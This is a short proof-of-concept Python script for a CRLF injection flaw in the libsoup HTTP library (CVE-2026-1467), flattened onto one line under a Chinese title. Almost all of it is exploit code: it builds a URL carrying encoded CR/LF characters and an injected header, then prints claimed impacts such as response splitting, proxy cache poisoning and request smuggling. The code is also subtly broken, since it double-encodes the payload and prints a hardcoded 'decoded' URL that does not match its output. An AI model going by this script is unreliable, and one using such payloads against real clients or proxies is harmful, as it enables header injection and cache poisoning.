CVE-2026-1467 libsoup HTTP代理CRLF注入漏洞

import urllib.parse # CVE-2026-1467 CRLF Injection PoC for libsoup # This PoC demonstrates how CRLF characters can be injected into HTTP headers def generate_crlf_payload(): """ Generate a malicious URL that exploits CRLF injection in libsoup when used with HTTP proxy configuration """ # Original benign URL base_url = "http://example.com/path" # Malicious payload with CRLF injection # %0d = CR (Carriage Return), %0a = LF (Line Feed) malicious_path = "/path%0d%0aX-Injected-Header: malicious-value%0d%0a" # URL encode the payload encoded_payload = urllib.parse.quote(malicious_path, safe='') # Full malicious URL malicious_url = f"http://example.com{encoded_payload}" print(f"Benign URL: {base_url}") print(f"Malicious URL: {malicious_url}") print(f"Decoded malicious URL: http://example.com/path\\r\\nX-Injected-Header: malicious-value\\r\\n") return malicious_url def demonstrate_attack(): """ Demonstrate the CRLF injection attack scenario """ print("=" * 60) print("CRLF Injection Attack Demonstration") print("Target: libsoup HTTP client library") print("CVE: CVE-2026-1467") print("=" * 60) # Generate payload payload = generate_crlf_payload() print("\nAttack Impact:") print("1. Attacker can inject arbitrary HTTP headers") print("2. Attacker can split HTTP responses") print("3. Attacker can poison proxy cache") print("4. May lead to XSS or request smuggling") return payload if __name__ == "__main__": demonstrate_attack()